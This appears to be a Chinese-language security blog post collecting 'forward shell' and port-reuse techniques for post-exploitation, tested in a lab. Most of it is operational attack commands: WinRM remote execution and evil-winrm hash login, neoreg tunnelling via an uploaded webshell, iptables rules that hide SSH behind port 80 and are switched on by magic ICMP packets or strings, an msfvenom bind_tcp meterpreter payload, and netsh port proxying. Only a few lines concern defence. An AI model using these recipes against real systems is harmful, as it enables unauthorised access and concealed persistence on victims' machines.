深入分析CVE-2021-4034及漏洞復現(xiàn)
正向shell總結(jié)
一.winrm,http.sys(端口復用)
介紹
winrm
WinRM全稱是Windows Remote Management,是微軟服務器硬件管理功能的一部分,能夠?qū)Ρ镜鼗蜻h程的服務器進行管理。WinRM服務能夠讓管理員遠程登錄Windows操作系統(tǒng),獲得一個類似Telnet的交互式命令行shell,而底層通訊協(xié)議使用的是HTTP。
HTTP.sys
HTTP.sys驅(qū)動是IIS的主要組成部分,主要負責HTTP協(xié)議相關的處理,它有一個重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驅(qū)動的HTTP應用可以共享同一個端口,只需要各自注冊的url前綴不一樣即可。
winrm默認監(jiān)聽端口:
5985 http
5986 https
利用場景及其限制
- 目標機器開啟winrm服務
- 目標機器是win server,windows主機不行
- 目標機器winrm沒有白名單(一旦白名單ip是無法登錄的)
- 組合HTTP.sys驅(qū)動自帶的端口復用功能
- 必須要知道明文密碼(也可以使用hash傳遞)
靶機配置
開啟winrm服務,并且監(jiān)聽80端口
winrm quickconfig -q
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
本地配置
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
執(zhí)行命令
winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
執(zhí)行命令是cmd即可進行shell
winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org
可以在遠程主機啟動計算器
Invoke-Command-ComputerName 192.168.198.129 -Credential root -Command {ipconfig}
# Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}
# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}
HASH登錄
項目地址:
https://github.com/Hackplayers/evil-winrm
使用方法:
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
錯誤以及其他問題解決
原因:僅僅支持server,不支持windows
-
UAC問題
WinRM服務也是受UAC影響的,所以本地管理員用戶組里面只有administrator可以登錄,其他管理員用戶是沒法遠程登錄WinRM的。要允許本地管理員組的其他用戶登錄WinRM,需要修改注冊表設置。 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f -
在已有WinRM服務的情況下,對于非80端口的web服務要如何處理
把監(jiān)聽改成某非80端口,然后有別的需要可以端口轉(zhuǎn)發(fā)
執(zhí)行chcp 437即可解決
原因是:chcp不同導致的
防御手段
- 設置主機白名單,僅允許某些可信的計算機連接到 WinRM 服務器。
- 嚴格限制,確保僅允許本地管理組和
WinRMRemoteWMIUsers__組中的用戶有權(quán)使用 WinRM。
二.HTTP Server API
本程序利用HTTP.sys官方接口,向該驅(qū)動注冊url前綴,與IIS共享端口,從而實現(xiàn)后門功能。
項目地址:
https://github.com/Reuodut/Windows-Hack-Code
三.reGeorg
項目地址:
https://github.com/L-codes/neoreg
1.生成密碼
python neoreg.py generate -k password
2.上傳
3.本地開啟代理
python neoreg.py -k password -u "http://192.168.198.129/tunnel.php"
本地的1080端口即可訪問
4.代理
四.iptables復用
iptables基礎
sudo iptables -L -v --line-number
查看iptables的條目
sudo iptables -D INPUT 1
刪除iptables條目
重啟計算機的時候
iptables自動清除
條件
如果目標嚴格禁止僅僅開放80端口,我們就需要把80的ssh流量轉(zhuǎn)發(fā)到22的ssh
實驗環(huán)境
kali:192.168.198.134
ubuntu:192.168.198.133
80端口開放
1.根據(jù)源地址做端口復用
iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --dport 80 -j REDIRECT --to-port 22
將從kali訪問的80端口的流量重定向到22端口
問題
別的師傅說因為所有的流量都轉(zhuǎn)發(fā)到了22,所以正常訪問80端口會訪問不了,但是經(jīng)過我的實際測試,我用的python開啟的http服務,連接80端口的ssh的時候,也是可以正常訪問的。
不限制訪問ip
2.根據(jù)源地址做端口的訪問(限制源IP)
iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --sport 33333 --dport 80 -j REDIRECT --to-port 22
只有192.168.198.134(kali)的33333端口訪問80的流量會被轉(zhuǎn)發(fā)到22端口去
nohup socat tcp-listen:44444,fork,reuseaddr tcp:192.168.198.133:80,sourceport=33333,reuseaddr &
ssh -p 44444 cmrex@127.0.0.1
我們把本地44444端口轉(zhuǎn)發(fā)到33333端口,然后我們訪問本地的44444端口
問題
如果想要多開幾個ssh連接,我們只需要把端口再轉(zhuǎn)發(fā)幾個就行了
3.利用icmp做開關
iptables -t nat -N LETMEIN
#創(chuàng)建端口復用鏈
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#創(chuàng)建端口復用規(guī)則,將流量轉(zhuǎn)發(fā)至 22 端口
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
#開啟開關,如果接收到一個長為 1139 的 ICMP 包,則將來源 IP 添加到加為letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
#關閉開關,如果接收到一個長為 1140 的 ICMP 包,則將來源 IP 從 letmein 列表中去掉
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
#如果發(fā)現(xiàn) SYN 包的來源 IP 處于 letmein 列表中,將跳轉(zhuǎn)到 LETMEIN 鏈進行處理,有效時間為 3600 秒
開啟復用
ping -c 1 -s 1111 192.168.198.133
#向目標發(fā)送一個長度為 1111 的 ICMP 數(shù)據(jù)包(加上包頭28,總長度實際為1139)
關閉復用
ping -c 1 -s 1112 192.168.198.133
#向目標發(fā)送一個長度為 1112 的 ICMP 數(shù)據(jù)包(加上包頭 28,總長度實際為 1140)
開啟:
關閉:
問題
如果網(wǎng)絡中禁止ping,或者沒有ping,則無法利用
4.利用TCP協(xié)議做開關
ubuntu中:
iptables -t nat -N LETMEIN
#創(chuàng)建端口復用鏈
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#創(chuàng)建端口復用規(guī)則,將流量轉(zhuǎn)發(fā)至 22 端口
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#開啟開關,如果接收到一個含有threathuntercoming的TCP包,則將來源 IP 添加到加為letmein的列表中
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
#關閉開關,如果接收到一個含有threathunterleaving的TCP包,則將來源 IP 從letmein的列表中移除
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
#如果發(fā)現(xiàn) SYN 包的來源 IP 處于 letmein 列表中,將跳轉(zhuǎn)到 LETMEIN 鏈進行處理,有效時間為 3600 秒
kali中:
開啟復用,開啟后本機到目標 80 端口的流量將轉(zhuǎn)發(fā)至目標的 SSH
echo threathuntercoming | socat - tcp:192.168.198.133:80
關閉復用,關閉后,80 恢復正常:
echo threathunterleaving | socat - tcp:192.168.198.133:80
開啟連接:
關閉連接:
問題
待續(xù)
五.msf正向shell
1.生成
msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe
//從目標的80端口出來
2.監(jiān)聽連接
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
run
3.結(jié)果
成功正向連接
web日志:
六.netsh
假定需要通過192.168.198.133的3389端口轉(zhuǎn)80端口,則需要在192.168.198.133主機的命令行輸入如下語句:
netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.198.129 connectport=3389 connectaddress=192.168.198.129
netsh interface portproxy show all
刪除:
netsh interface portproxy delete v4tov4 listenport=80 listenaddress=192.168.198.129
七.冰蝎正向后門代理流量
冰蝎有自帶的正向流量代理工具
箭頭所指處填寫
0.0.0.0
和
本地要監(jiān)聽的流量代理端口即可
八.蟻劍反彈shell配合msf
需要用到蟻劍的插件:AS-exploit






















浙公網(wǎng)安備 33010602011771號